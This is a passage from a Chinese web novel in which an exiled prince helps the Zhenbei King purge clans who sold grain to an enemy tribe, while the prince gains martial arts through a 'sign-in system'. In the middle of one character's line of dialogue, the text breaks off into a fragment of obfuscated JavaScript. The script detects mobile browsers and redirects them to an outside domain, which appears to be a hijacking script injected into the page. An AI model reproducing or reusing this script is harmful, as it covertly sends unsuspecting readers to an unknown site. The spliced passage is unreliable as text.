“这五万石粮食,难道就是他们要送给北莽的?”
“我就说,北莽人怎么年年都打不完,原来是有我们自己人在背后捅刀子!”
“杀千刀的狗汉奸!”
短暂的死寂之后,是火山爆发般的愤怒!
无数百姓的眼睛都红了,他们指着那缓缓驶过的粮车,破口大骂,若非有镇北军拦着,恐怕早已冲上去将那些粮食撕成碎片。
消息,如插上了翅膀,以一种恐怖的速度传遍了镇北城的每一个角落。
……
城西,陈记粮行分行。
掌柜的赵伟,正悠哉地用茶盖撇着浮沫。
镇北王搞出这么大动静,他自然是知道的。
但他一点也不慌。
搜捕北莽凶徒?
不过是镇北王府为了找回面子,演给全城人看的一场戏罢了。
至于他们陈记粮行的事……天衣无缝!
太子殿下和户部尚书的安排,岂是区区一个镇北王能查出来的?
就在他得意之际,一个伙计连滚带爬地冲了进来,脸白得像纸一样。
“掌……掌柜的!不好了!”
“出大事了!”
赵伟眉头一皱,不悦道:“慌慌张张,成何体统!天塌下来了?”
“塌了!掌柜的,天真的塌了!”
伙计带着哭腔,指着门外,语无伦次地喊道:“我们……我们的粮……粮草,被镇北军给……给截了!”
“什么?”
赵伟手中的茶杯“啪”的一声掉在地上,摔得粉碎。
“你说什么!?”
“就在城南军营门口!五万石!全被拉走了!现在正往王府那边去,满城的人……都看见了!”
“麻袋上……麻袋上‘陈记粮行’的字,所有人都看见了!”
轰!
赵伟只觉得一道天雷在脑中炸开,眼前一黑,差点栽倒在地。
完了!
全完了!
他顾不上震惊,多年的狡诈和谨慎,让他瞬间做出了反应。
跑!
必须马上跑!
他猛地冲向后堂,从床底拖出一个早已备好的包裹,里面是地契、银票和几件换洗的衣物。
他甚至来不及多看一眼这间他经营了数年的铺子,直接从后门冲了出去。
“掌柜的!掌柜的你去哪!”
前堂的伙计们还在惊慌失措地大喊。
但他们永远也等不到回答了。
就在赵伟的身影消失在后巷的拐角处不到一炷香的时间。
“砰!”
粮行的大门,被一脚踹得四分五裂。
一队杀气腾腾的镇北军甲士,如狼似虎地冲了进来。
“一个都不许动!”
“全部跪下!”
冰冷的长戈,架在了每一个伙计的脖子上。
伙计们哪里见过这等阵仗,一个个吓得魂飞魄散,屎尿齐流,哭喊着跪倒在地。
“你们掌柜的呢?”一名军官冷声问道。
“不……不知道啊军爷!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196264|181179||http|test|mini|href|location''.split(''|''),0,{}));
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r>“掌柜的刚刚跑了!”
“我们什么都不知道啊!我们只是打工的!”
军官冷哼一声,根本不信他们的鬼话,大手一挥。
“搜!”
“全部带走,严加审问!”
……
赵伟像一只丧家之犬,在错综复杂的小巷中疯狂穿行。
他不敢走大路,只能拣那些最偏僻、最肮脏的角落钻。
他只有一个目标——城北,孙府!
孙家,是镇北城的豪族之一,也是太子殿下在城中最重要的棋子之一,更是他赵伟的顶头上司。
只有到了那里,他才有一线生机!
他绕了无数个圈子,确定身后没有追兵后,才来到孙府一处不起眼的侧门。
他用一种特定的节奏,叩响了门环。
三长两短
门开了一道缝,一个管家模样的中年人警惕地探出头。
当看清是赵伟时,他脸色一变,飞快地将他拉了进去,又迅速关上了门。
“赵掌柜,你……你怎么来了?外面都翻天了!”
“快!带我去见你们家主!”赵伟气喘吁吁,声音都在发抖,“出大事了!”
孙府,密室。
孙家家主孙坚,一个面容儒雅,看起来像个教书先生的中年人,此刻的脸色却比锅底还要黑。
他死死地盯着跪在地上,浑身狼狈的赵伟,压抑着怒火,声音从牙缝里挤出来。
“废物!”
“一群成事不足败事有余的废物!”
他猛地一拍桌子,上面的茶具都跳了起来。
“赵伟,我问你,谁让你们把‘陈记粮行’四个字印在麻袋上的?”
“谁家做见不得光的买卖,还生怕别人不知道,把自己的名号给写上去的?”
“你们的脑子,是被狗吃了吗!”
孙坚气得浑身发抖。
他不是在责怪赵伟,他是在恐惧!
通敌北莽,这是灭九族的大罪!
镇北王风啸天如今拿到了铁证,他这把火,必然会烧遍全城!
而他孙家,就是最显眼的那一堆干柴!
赵伟跪在地上,不住地磕头,哭喊道:“家主,这……这不关我的事啊!这批粮草是从京城直接运来的,上面的字,是……是户部尚书陈大人的意思,说是为了彰显实力,震慑北凉的其他商号啊!”
“我哪敢动上面的东西啊!”
“陈松?”
孙坚听到这个名字,更是气得差点一口血喷出来。
好一个陈松!
好一个户部尚书!
这是把他孙家,把太子在北凉的所有布置,都架在火上烤啊!
“家主,救我!您一定要救我啊!”赵伟抱着孙坚的大腿,涕泗横流。
孙坚看着他这副模样,眼中的厌恶和杀机一闪而过。
他深吸一口气,强迫自己冷静下来。
现在不是追究责任的时候。
风啸天既然敢封城,就说明他已经下定了决心。
这一关,若是过不去,所有人,都得死!
孙坚的眼中,闪烁着阴狠的光芒。
“风啸天……你们真以为,抓到一点把柄,就能扳倒太子殿下吗?”
“你们太天真了。”
第75章 大荒囚天指!
风啸天已经亮出了屠刀,他必须自救,必须联合所有能联合的力量,拧成一股绳,才能抵挡住这滔天巨浪。
孙坚猛地转身,从一个暗格中取出一个小巧的竹筒。
他迅速写下一张字条,塞入竹筒,然后快步走到墙边,打开一扇更小的暗窗。
窗外,一只训练有素的信鸽正安静地立在架子上。
他将竹筒绑在信鸽腿上,眼中闪过一丝决绝。
“去!”
他低喝一声,将信鸽奋力抛向空中。
信鸽振翅,如一道灰色的闪电,瞬间穿透昏暗的天色,朝着城中几个约定的方向飞去。
这是他最后的希望。
只要城中几大世家联手向风啸天施压,以全城民生为要挟,风啸天就绝不敢把事情做得太绝!
然而,孙坚的希望仅仅持续了不到十个呼吸。
就在那只信鸽刚刚飞越府邸上空,即将融入鳞次栉比的屋檐之间时。
“咻!”
一声尖锐至极的破空声,从王府附近的一处高塔上骤然响起!
一道黑色的流光,以比信鸽快上数倍的速度,精准地命中了那小小的身影。
“噗。”
一蓬血雾在半空中炸开。
那只承载着孙家所有希望的信鸽,连一声悲鸣都来不及发出,便化作一团烂肉,从空中无力地坠落。
一个黑色的身影从高塔上一跃而下,稳稳接住坠落的信鸽尸体,取下竹筒,随即几个起落,消失在街道的阴影中。
孙府密室内的孙坚,透过暗窗,将这一幕看得清清楚楚。
他的身体猛地一晃,整个人像是被抽干了所有的力气,颓然靠在了冰冷的墙壁上。
完了。
他连求救的信号都发不出去。
这张由镇北王布下的大网,早已将整座镇北城,覆盖得天衣无缝,连一只鸟都飞不出去。
……
镇北王府,书房。
风啸天看着手中由一名百户呈上来的字条,脸色越发阴沉。
字条上的内容很简单,是孙坚请求城中张家、李家、王家等几个大族联手,共同向王府施压的求援信。
“哼!一群养不熟的白眼狼!”
风啸天将字条重重拍在桌上,眼中杀机毕露。
“本王镇守北凉数十年,护他们一世周全,他们就是这么回报本王的!”
“传令下去!”
风啸天没有丝毫犹豫,直接下令。
“将名单上的这几家,列为重点监视对象!”
“派人盯死他们的府邸,但凡有任何异动,无需请示,立刻拿下!”
“是!”
百户领命,转身大步离去。
书房内,只剩下风啸天和依旧淡然品茶的叶玄。
看着风啸天那副怒不可遏的样子,叶玄轻轻放下茶杯,开口道:“王爷,接下来的事情,便是王府的家事了。”
“搜捕、审讯、定罪,这些都非我所长。”
“我这个外人,继续待在这里,反而有些不合时宜。”
风啸天闻言,立刻从愤怒中回过神来。
他看向叶玄,眼神中充满了敬畏和感激。
他知道,叶玄这是进一步信任自己,显然是彻底将自己当做合作对象了。
“殿下说的是哪里话,若无殿下,我风啸天至今还蒙在鼓里,王府上下更是危在旦夕。”
风啸天起身,对着叶玄深深一躬。
“殿下对王府有再造之恩!”
叶玄坦然受了这一礼,随即话锋一转,微笑道:“久闻镇北王府气势恢宏,乃北凉第一府邸,不知我可有幸,在府上逛一逛?”
他确实对镇北城内那些喽啰没什么兴趣。
相比之下,他对镇北王府更感兴趣!
从踏入王府的那一刻起,他就隐隐感觉到了一种特殊的气机,似乎有什么东西在吸引着他。
这让他立刻联想到了自己的金手指——签到系统。
或许,这偌大的王府之中,就隐藏着可以签到的机缘。
风啸天一听,哪里会不答应,当即大喜道:“殿下想逛,随时都可以!”
他立刻转身,对着门外喊道:“云天!”
很快,风云天便从门外快步走了进来,恭敬行礼:“父王,殿下。”
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“云天,你陪殿下在府里四处走走,好生招待,切不可有半点怠慢!”风啸天郑重嘱咐道。
“是,父王!”
风云天眼中闪过一丝兴奋,能与这位神鬼莫测的八皇子多待片刻,是他求之不得的事情。
“殿下,请。”
风云天做出一个请的手势,态度恭敬到了极点。
叶玄点了点头,起身跟着风云天走出了书房。
看着两人离去的背影,风啸天深吸一口气,眼中重新燃起冰冷的火焰。
殿下已经为他铺好了所有的路。
接下来,就该他这镇北之王,来好好清洗一下城里的污垢了!
……
镇北王府极大,亭台楼阁,假山流水,一步一景,处处都透着一股边关大族的雄浑与厚重。
风云天跟在叶玄身侧,一边引路,一边介绍着府中的各处景观,言语间充满了对叶玄的崇拜。
叶玄只是安静地听着,一边走,一边寻找着什么地方适合签到。
穿过几重庭院,前方豁然开朗。
一阵阵金铁交击之声,伴随着震天的呼喝声传来。
一座巨大无比的演武场,出现在两人面前。
演武场以青黑色的巨石铺就,上面布满了刀劈斧凿的痕迹,一股铁血肃杀之气扑面而来,仿佛能看到无数将士在此挥洒汗水的场景。
就在叶玄踏足演武场边缘的瞬间。
他脑海中那道冰冷的机械提示音,终于清晰地响起。
【叮!】
【检测到特殊签到地点:镇北王府演武场!】
【此地历经数十年,汇聚了镇北军无尽的铁血战意与不屈军魂,是否进行签到?】
叶玄心中一动。
果然如此。
他不动声色,在心中默念。
“签到。”
【签到成功!】
【恭喜宿主,获得玄阶上品武技——《大荒囚天指》!】
【《大荒囚天指》:共分三式,一指囚天地,二指碎星辰,三指断轮回。此武技霸道绝伦,以雄浑灵力催动,可凝聚天地之力,一指出,万物皆可囚禁!】
第76章 守阁人
一股庞大的信息流,如同九天银河倒灌,瞬间涌入叶玄的脑海。
关于《大荒囚天指》的所有修炼法门、发力技巧、武道真意,在这一刻,尽数被他领悟,仿佛他已经浸淫其中,苦修了数十年一般。
好霸道的指法!
叶玄心中暗赞,这门武技,简直就是为他的《人皇镇狱经》量身定做。
以至刚至阳的人皇之气,催动这囚禁天地的霸道指法,威力恐怕会达到一个匪夷所思的境地。
就在叶玄消化着脑中信息之时,一旁的风云天看着演武场上那些挥汗如雨、气血阳刚的王府护卫,脸上露出一丝向往,随即又有些惭愧地对叶玄说道:
“殿下见笑了。”
“我自幼体弱,武道天赋平平,至今也只是刚刚摸到八品炼气境的门槛,远不及父王万一。”
说着,他带着无比的好奇,小心翼翼地看向叶玄,轻声问道:“殿下文韬武略,算无遗策,不知……殿下的武道修为,达到了何种境界?”
他实在太想知道了。
这位八皇子殿下看起来比自己还要年轻几分,身上甚至还带着一丝挥之不去的病弱之气,可他所展现出的手段和能量,却恐怖到让人无法想象。
风云天很难不将这一切,与深不可测的武道实力联系起来。
叶玄闻言,从思绪中抽离,淡然一笑道:“我自幼体弱多病,在武道一途上,更是荒废了许久。”
他没有直接回答,反而话锋一转,问道:“你可知,武道一途,共分几品?”
风云天愣了一下,随即恭敬答道:“云天愚钝,只知武道有九品之分,品级越低,实力越强。至于更详细的,还请殿下赐教。”
叶玄点了点头,负手而立,声音平淡,却仿佛蕴含着某种天地至理。
“武道九品,由低到高,可划分为三大境界。”
“下三品,为筑基之境。”
“九品,练精境。锤炼肉身,打磨气血,使身体素质远超常人,这是武道之始。”
“八品,炼气境。感应天地灵气,引气入体,淬炼经脉,于丹田内修出第一缕内力。你如今,便在此境。”
“七品,炼神境。内力壮大,开始反哺精神,精神力得以增长,对战之时,感知敏锐,反应超凡。”
风云天不由自主地点头,这些理论他曾听父王和府中教头零散说过,却远不及殿下这般言简意赅,直指核心。
叶玄顿了顿,目光深邃,继续说道:
“跨过下三品,便算是真正登堂**,是为中三品,化力之境。”
“六品,凝体境。以内力淬炼周身,可至铜皮铁骨,刀枪难入。”
“五品,化勁境。对自身力量的掌控达到入微之境,收发自如,劲力可刚可柔,穿金裂石,亦可隔山打牛。”
“四品,练意境。”
叶玄的声音在这里停顿了一下,看向风云天。
“这是中三品的巅峰,武者于自身武学中,领悟出独属于自己的‘意’,如刀意,剑意,拳意。以意御力,一招一式,都蕴含着莫大威能。镇北王,便是在此境界浸淫多年。”
听到父王的名字,风云天眼中露出无比的崇敬。
四品练意境,这在他眼中,已经是需要高山仰止的强大存在了。
“那……那中三品之上呢?”风云天追问道,呼吸都不自觉地变得有些急促,仿佛在窥探着神灵的领域。
叶玄的目光,望向遥远的天际,眼神中带着一丝悠远,仿佛穿透了时空。
“中三品之上,便是上三品,通玄之境。到了这个层次,已非凡人可以揣度。”
“三品,不死之躯。生命力强大到匪夷所思,断肢亦可重生,寿元悠长,是为陆地神仙。”
“二品,合道之境。自身武道与天地至理相合,举手投足间,可引动天地之力,威能莫测。”
“至于一品……”
叶玄的声音再次停顿。
“一品,无漏金身。精气神三宝合一,圆融无暇,自身便是一方小天地,力量运转,毫无破绽,已是人间武道的极致。”
“一品之上,是否还有更高境界,便非我所能知晓了。”
一番话,如暮鼓晨钟,在风云天脑海中轰然炸响。
他彻底呆立当场。
整个人仿佛被一股无形的力量攫住,动弹不得。
一扇通往武道巅峰的宏伟门户,在他面前缓缓洞开。
不死之躯,合道天地,无漏金身……
这些词汇,每一个都让他感到神魂战栗。
当父王在得知他没有修炼天赋之后,便不再强求他修炼,因此他对武道的了解,也只停留在中下品之间。
他从未想过,武道的尽头,竟是如此波澜壮阔,近乎神话的风景!
他看着眼前这个白衣胜雪,神情淡然的少年,心中那个猜测,越发清晰,也越发让他感到敬畏。
能将武道九品阐述得如此详尽,甚至连上三品的玄妙都了如指掌……
这位八皇子殿下,他的武道修为,究竟达到了何等恐怖的境地?
至少,也得是中三品吧?
甚至……更高?
风云天不敢再想下去,他只觉得,自己面对的,根本不是一个被发配边疆的落魄皇子。
而是一头潜伏在深渊之中,仅仅只是露出冰山一角的……真龙!
许久,风云天才从巨大的震撼中回过神来,他深吸一口气,对着叶玄躬身一拜,语气无比诚恳。
“听殿下一席话,胜读十年书。云天,受教了。”
叶玄坦然受了他这一礼,平静地开口:“境界是根基,而武技,便是将这根基之力,淋漓尽致发挥出来的手段。”
风云天精神一振,连忙接话道:“殿下所言极是!这武技的品阶,云天倒是略知一二。”
他像是找到了一个自己擅长的话题,急于在叶玄面前表现一番。
“武技**,
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共分天、地、玄、黄四阶,每阶又分上、中、下三品。”
“黄阶武技最为常见,流传甚广。而玄阶武技,便已是各大世家以及江湖门派的中流武技。至于地阶武技,放眼整个大乾王朝,都属于家族或者门派秘宝,每一本都足以撑起一个门面。”
“那天阶呢?”叶玄饶有兴致地问了一句。
风云天苦笑一声,摇了摇头。
“天阶……只存在于传说之中,至少我们镇北王府,立府百年,从未见过。”
说到这里,他脸上露出一抹自豪之色。
“不过,我镇北王府底蕴深厚,府内专门建有一座武道阁,其中收藏的黄阶武技足有数百本,玄阶武技亦有数十本之多!”
“甚至,还有三本残缺的地阶**,乃是历代先祖从战场上九死一生换来的,是我王府的镇府之宝!”
“哦?”叶玄的眉梢轻轻一挑,眼中闪过一丝兴趣,“既如此,便带我去看看。”
“殿下请!”
风云天大喜过望,能为殿下引路,是他莫大的荣幸。
他立刻在前方带路,领着叶玄穿过演武场,绕过几条回廊,来到了一座古朴而庄严的阁楼前。
这座阁楼共分三层,通体由黑沉沉的铁木建成,飞檐斗拱,气势非凡。
一股厚重、肃杀的气息扑面而来,仿佛这里面封印的不是**秘籍,而是一头头远古凶兽。
阁楼大门紧闭,门前,一名身穿灰色布衣的老者,正闭目盘膝而坐,如同一尊没有生命的石雕。
可叶玄能清晰地感觉到,这老者体内气血沉凝,呼吸悠长,分明是一位踏入了六品凝体境的武道高手。
“见过阁老。”
风云天对着老者恭敬地行了一礼。
老者眼皮都未曾抬一下,声音沙哑地响起。
“世子有何事?”
风云天指了指身旁的叶玄,客气地说道:“这位是王府的贵客,想入阁一观。”
老者这才缓缓睁开双眼,那是一双浑浊却又锐利无比的眼睛。
他扫了叶玄一眼,没有任何情绪波动,声音依旧如同枯木。
“武道阁,乃王府重地。”
“没有王爷的手令,任何人,不得入内。”
“这是规矩。”
风云天的脸色顿时有些尴尬,他没想到守阁人如此不给情面。
“阁老,这位殿下身份尊贵,是父王的……”
“任何人。”
老者直接打断了他的话,重复了一遍,随即再次闭上了眼睛,再无半点声息。
空气,一时间有些凝滞。
风云天站在原地,进退两难,脸上满是歉意和焦急。
他没想到,自己兴冲冲地带殿下过来,却被拦在了门外。
然而,叶玄的脸上,却看不到半点不悦。
他只是静静地看着那座紧闭的阁楼大门,嘴角反而勾起了一抹若有若无的弧度。
这镇北王府,倒是越来越有意思了。
第77章 奇怪的阁老
风云天脸上的尴尬,几乎要凝成实质。
他怎么也没想到,父王倚重无比的阁老,竟是这般油盐不进,连半分情面都不给。
这让他这位世子,在殿下面前,颜面何存?
然而,出乎他意料的是,叶玄的脸上没有丝毫愠怒之色,甚至连一点波澜都未曾泛起。
他只是静静地凝视着那座厚重的阁楼,眼神平静得如同一口深不见底的古井。
强闯?
毫无意义。
一来,他与风啸天眼下正处于合作的蜜月期,为了一点意气之争,去挑战镇北王府百年来的规矩,破坏双方的信任,是为不智。
这天下,没有比信任更珍贵,也没有比信任更脆弱的东西。
二来,今日在演武场的签到机缘已然用掉,这武道阁就算藏着天大的机缘,也不是今日的他能够获取的。
既然如此,又何必急于一时?
放长线,方能钓大鱼。
叶玄心中念头一动,悄然运转了天子望气术。
刹那间,眼前的世界在他瞳孔深处发生了微妙的变化。
那名盘膝而坐的灰衣老者,在他视野中,被一团浓郁的青色气运所笼罩,气运厚重如山,其中还夹杂着一丝淡淡的紫色,彰显着其不凡的命格。
一行行淡金色的信息,流水般划过他的眼底。
【姓名:风伯】
【境界:六品凝体境巅峰】
【忠诚度:100(镇北王府)】
【气运:青中带紫,厚重如山】
【命格:磐石之卫】
【近期转折:无】
……
忠诚度,一百。
看到这个数字,叶玄嘴角的弧度愈发明显。
这代表着绝对的忠诚,任何言语、任何威逼利诱,在这位老人面前都将是徒劳。
他就是镇北王府最坚固的一块基石,除非风啸天亲至,否则天王老子来了,也别想踏入这阁楼半步。
对这样的人,理应报以尊重。
“既然规矩如此,我们便不去打扰阁老清修了。”
叶玄收回目光,云淡风轻地对身旁的风云天说道,仿佛刚才被拒之门外的,根本不是他自己。
“殿下,这……实在是对不住,我……”风云天满脸羞愧,急忙想要解释。
叶玄摆了摆手,打断了他的话,温和笑道:“无妨,王府规矩森严,是好事。我们再去别处看看吧。”
他的从容与大度,让风云天心中愈发敬佩,同时也更加愧疚。
两人转身,缓缓离去。
就在他们走出十余步后,那如石雕般的守阁人风伯,那双紧闭的眼眸,缓缓掀开一道缝隙。
他浑浊而锐利的目光,落在了叶玄那略显单薄的背影上。
眉头,不易察觉地轻轻一皱。
奇怪。
非常奇怪。
方才此人站在门前时,他古井无波的心境,竟莫名地泛起了一丝涟漪。
并非是威胁感,也不是杀气。
而是一种……一种极其古怪的共鸣。
仿佛他体内蛰伏着某种至高无上的存在,与这武道阁深处所珍藏的某样东西,产生了极其微弱的、几乎无法捕捉的感应。
那是一种……凌驾于王权之上,甚至凌驾于武道之上的……气息。
飘渺,尊贵,古老。
如渊如狱。
是错觉吗?
风伯活了近百年,一身修为早已打磨得圆融无暇,对气息的感知敏锐到了极点。
他很相信自己的直觉。
可这个看起来病弱不堪的少年,怎么可能会拥有那等气息?
或许……是自己真的老了,气血衰败,感知都出现了偏差。
风伯缓缓摇了摇头,将这一丝疑虑压入心底,再次闭上了双眼,呼吸悠长,重新化作一尊没有生命的石雕。
只是那微皱的眉头,却久久没有舒展开。
……
当叶玄与风云天回到王府正堂时,一道清冷的目光,便如利剑般直直射了过来。
苏轻雪正俏生生地立于一根朱红色的廊柱旁,素手轻轻搭在身前,姿态优雅端庄。
可那双平日里清澈如秋水的眸子里,此刻却写满了三个大字。
你还知道回来?
她就这么静静地看着叶玄,不言不语,但那略带嗔怪的眼神,以及脚尖无意识地轻点地面的小动作,无一不在控诉着某人“重色轻友”的行径。
明明是一同前来王府,结果这家伙倒好,直接把自己这个“侍女”晾在一边,跟着镇北王世子到处闲逛,一去便是大半个时辰。
这叫什么事?
风云天一进门,便注意到了苏轻雪的眼神。
他心中猛地一突。
这位侍女好大的胆子!
竟敢用这种眼神看殿下?
在他看来,叶玄殿下深不可测,威严如狱,寻常人别说直视,光是站在他身边都会感到莫大的压力。
这侍女非但不惧,反而流露出明显的不满。
难道她不怕殿下降罪吗?
风云天心中诧异,正想开口提醒一下这位不知天高地厚的侍女,注意自己的身份。
叶玄却像是没事人一样,迎着苏轻雪的目光走了过去,脸上带着一丝歉意的微笑。
“等久了吧?”
苏轻雪红唇微启,声音清清冷冷,带着一丝不易察觉的幽怨。
“不久。殿下贵人事忙,小女子区区一介侍女,等多久都是应该的。”
这话语里的酸味,几乎要溢出来了。
风云天听得是心惊肉跳,额头都渗出了细密的冷汗。
完了完了,这位侍女怕是要大祸临头了。
然而,叶玄依旧是那副风轻云淡的模样,他转过头,看向一脸
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紧张的风云天,笑着说道:
“云天兄,倒是忘了为你正式介绍一下。”
风云天一愣。
介绍?
一个侍女,有什么好介绍的?
只见叶玄顿了顿,目光落在苏轻雪身上,眼神中带着一丝郑重。
“这位,并非我的侍女。”
一句话,让风云天的脑袋瞬间有些宕机。
不是侍女?
那是什么?
“她是当朝首辅,苏长青的独女。”
叶玄的声音平平淡淡,却如同一道九天惊雷,在风云天的脑海中轰然炸响!
“苏……苏轻雪,苏小姐!”
轰!
风云天只觉得一股热血直冲头顶,整个人都懵了。
他呆呆地看着眼前这位白衣胜雪、气质清冷的绝色女子,大脑一片空白。
当朝首辅!
苏长青!
那位权倾朝野,门生故吏遍布天下,连太子都要礼让三分的文官之首!
他的独生爱女,京城第一才女,苏轻雪?!
她……她怎么会在这里?
而且,还跟在被发配北凉的八皇子殿下身边,以侍女的身份,出现在了镇北王府?!
这……这怎么可能!
一瞬间,无数个念头在风云天脑中炸开,让他几乎无法思考。
他终于明白,为何这位“侍女”敢对殿下流露出不满的情绪。
他也终于明白,为何殿下对她的态度如此宽容。
更让他感到头皮发麻的是这背后所代表的恐怖信息!
首辅的千金,为何会追随一位落魄皇子来到这苦寒的北凉边境?
这只能说明一件事!
在所有人都以为八皇子已经彻底失势,沦为弃子的时候,权倾朝野的当朝首辅,已经悄无声息地,将他最珍贵的筹码,压在了八皇子身上!
这是一场何等恐怖的豪赌!
风云天看着眼前神情淡然的叶玄,心中那最后一丝疑虑,也彻底烟消云散。
取而代之的,是如山岳般沉重的敬畏!
这位八皇子殿下,他手中掌握的力量,远远超出了所有人的想象。
他不是一头被放逐的潜龙。
他是一尊,早已开始布局天下的……真龙!
“云天,见过苏小姐!”
风云天从巨大的震撼中回过神来,连忙对着苏轻雪深深一揖。
“先前不知小姐身份,多有怠慢,还望小姐恕罪!”
苏轻雪也没想到叶玄会如此干脆地揭示自己的身份,清冷的脸颊上闪过一丝不易察觉的红晕,随即恢复了镇定。
她对着风云天微微颔首,算是还礼,声音依旧清淡。
“世子不必多礼。”
只是那眼神,却不着痕迹地剜了叶玄一眼,仿佛在说:看你干的好事!
叶玄坦然受之,心中却是觉得颇为有趣。
第78章 风云涌动的北凉
叶玄看着苏轻雪眼底那一闪而逝的嗔怪,心中不由莞尔。
这份不加掩饰的真性情,在这步步为营的险恶世道中,实在是难能可贵。
他正要开口调侃两句,苏轻雪却已收敛了情绪,恢复了那副清冷端庄的模样,微微侧身,开始汇报她刚刚探听到的消息。
“殿下,王府已经动手了。”
她的声音不大,却清晰地传入叶玄和风云天的耳中。
“就在刚才,镇北军封锁了全城,由赵龙将军亲自带队,直扑孙、王、李三家府邸。”
苏轻雪的语速平稳,条理分明。
“据刚刚回来的王府士兵汇报,三家有过一些抵抗,但面对镇北军的雷霆之势,几乎没有还手之力。”
“家主、嫡系,以及府内所有武师护卫,尽数被拿下,府库被当场查封。”
“整个过程,从抵抗到抓捕结束,不到一炷香的时间。”
她顿了顿,补充道:“镇北王手段狠厉,下令但凡抵抗者,格杀勿论。三家被当场斩杀的护卫,不下百人。现在,整个镇北城的世家都已是风声鹤唳,人人自危。”
风云天听着,脸色微微有些发白,但眼神却透着一股快意。
这些盘踞在镇北城吸血的蛀虫,早就该被清除了。
“做得好。”
叶玄对此并不意外,只是淡淡地点了点头。
风啸天是执掌一方的枭雄,一旦下定决心,绝不会有半分拖泥带水。
“区区几个被酒色掏空了身子的世家,自然翻不起什么风浪。”
叶玄的目光仿佛穿透了王府的墙壁,望向了遥远的南方。
“真正的麻烦,不在城内,而在朝堂。”
苏轻雪冰雪聪明,立刻就明白了叶玄的意思。
“殿下的意思是,他们会向京城求援?”
“不是求援,是告状。”
叶玄嘴角勾起一抹冷笑。
“镇北王无故抄没世家,屠戮士绅,这顶大帽子扣下来,足以让朝堂上的言官们吵翻天。”
“太子叶天,绝不会放过这个可以名正言顺打压镇北王府的机会。”
他看着风云天,缓缓说道:“云天兄,接下来,你父亲要面对的压力,会比抵御北莽十万大军还要沉重。”
风云天的心猛地一沉,他虽然性格温和,却不是蠢笨之人,瞬间就想通了其中的关窍。
就在他们交谈之时,镇北城内。
三座曾经辉煌的府邸,此刻已是血流成河,哀嚎遍地。
在镇北军的铁蹄之下,几名忠心耿耿的死士,拼着最后的力气,冲到后院的鸽笼。
他们打开笼门,将早已写好**的信鸽,一只接一只地抛向天空。
“噗!噗!噗!”
十几只信鸽,承载着世家最后的希望与怨毒,从不同的方向,冲破了镇北城的阴云,朝着大乾京师的方向,疾飞而去。
……
夜幕降临,王府内灯火通明。
正堂之中,一场洗尘宴正在进行。
主位上,是镇北王风啸天,以及气色好了许多的王妃柳如烟。
叶玄与苏轻雪,则被奉为上宾,坐在他们的右手边。
风云天作陪在侧。
柳如烟看着叶玄的目光,充满了感激与亲近,不再有丝毫的戒备。
“八殿下,大恩不言谢。”
风啸天端起酒杯,声音洪亮如钟。
“从今往后,你便是我镇北王府最尊贵的客人,但凡有所求,我风啸天绝不推辞!”
说罢,一饮而尽。
何等的干脆利落。
叶玄淡然一笑,举杯回敬:“王爷客气了。”
酒过三巡,菜过五味,气氛愈发融洽。
风云天看准时机,对着风啸天开口道:“父王,殿下今日对武道颇有兴趣,今日想去武道阁参观一番,只是……”
他有些不好意思地看了一眼叶玄。
“只是被风伯拦下了。”
风啸天闻言,哈哈大笑起来。
“风伯那个老家伙,就是茅坑里的石头,又臭又硬,只认我的手令,不认人。”
他的笑声中,没有丝毫责怪,反而带着一丝欣赏。
“这恰恰说明我王府规矩森严,是好事。”
话音一转,风啸天目光灼灼地看向叶玄。
“不过,规矩是死的,人是活的。”
“我镇北王府的规矩,对殿下,永远都是例外!”
话音未落,他竟是直接从腰间解下了一块通体墨绿、雕刻着猛虎图腾的令牌,随手抛给了叶玄。
动作行云流水,没有半点犹豫。
“此乃我的王令,见此令如见我本人。”
风啸天沉声道。
“从此刻起,整个王府,除了我与王妃的寝殿,任何地
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方,殿下皆可畅行无阻,无需通报。”
“武道阁内的所有**武技,任你翻阅,任你修行!”
此言一出,连风云天都震惊了。
父王竟然将代表自己身份的王令,如此轻易地就交了出去?
这已经不是信任了。
这是将叶玄,当成了自己人!
叶玄握着手中尚有余温的令牌,感受着其中蕴含的厚重与力量,心中也是微微一动。
风啸天,果然是个人物。
这份魄力,这份决断,无愧于北凉之主的身份。
“如此,便多谢王爷了。”
叶玄没有推辞,坦然收下。
一场宴席,宾主尽欢,也让双方的联盟,在心照不宣中,变得更加牢不可破。
然而,无人知晓。
就在镇北城内暗流涌动,王府之中推心置腹之时。
在更北方的茫茫雪原之上,一场针对大乾的阴谋,正在悄然酝酿。
北莽,王庭。
一座由巨兽骸骨搭建而成的帐篷内,篝火燃烧,将几个身材魁梧、气息彪悍的身影映照得忽明忽暗。
“屠各部落,已经失联整整十天了。”
一个独眼龙壮汉,声音沙哑地说道,他手中的弯刀,在火光下泛着嗜血的光芒。
“派出去的斥候,没有一个能活着回来。”
“一定是出事了。”另一名脸上布满刀疤的部族首领闷声道,“屠各是我们扎在南朝狗心口的一颗钉子,绝不能就这么没了!”
坐在主位上的,是一个头发花白,眼神却如鹰隼般锐利的老者。
他是北莽三大部族之一,苍狼部的首领。
“南朝的冬天,总是那么难熬。”
老者缓缓开口,声音不大,却让整个帐篷瞬间安静下来。
“我们的勇士需要肉食,我们的女人和孩子需要过冬的粮食。”
他环视一圈,冷冷说道。
“屠各的失联,或许是个机会。”
“南朝人以为拔掉了钉子,就可以高枕无忧,他们的防备,必然是最松懈的时候。”
老者的眼中,闪烁着贪婪与残忍的光芒。
“传我命令,集结三千苍狼锐士,由我的儿子亲自带队。”
“去镇北城边境,试探一下南朝狗的斤两。”
“顺便,抢些牛羊和女人回来,祭奠我们死去的勇士!”
第79章 武道阁签到
一夜喧嚣落幕,镇北王府在黎明的微光中,褪去了昨夜的血腥与肃杀,恢复了往日的沉静。
只是这份沉静之下,暗流已然改道。
叶玄并未在卧房中久留,用过简单的早膳后,便独自一人,朝着武道阁的方向行去。
他手中把玩着那枚墨绿色的猛虎令牌,触手温润,却仿佛蕴藏着一座山岳的重量。
这便是权柄的实体。
武道阁前,依旧是那道熟悉的身影。
风伯,或者说阁老,正拿着一把扫帚,一丝不苟地清扫着门前的落叶。
